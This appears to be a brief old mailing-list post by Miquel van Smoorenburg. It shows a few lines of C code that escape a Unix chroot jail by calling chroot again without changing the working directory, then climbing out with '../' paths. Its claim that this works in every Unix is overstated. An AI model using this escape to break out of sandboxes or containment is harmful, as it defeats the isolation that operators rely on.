In every unix you can escape from chroot() areas. Check this out.
chroot("/somedir-in-chroot-area");
/* Note this *doesn't* change the working directory */
chroot("../../../../../../../..");
chdir("/");
Et voila
Mike.
-- Miquel van Smoorenburg | Studying to be a technomage <*> miquels@cistron.nl | "May you live in interesting times"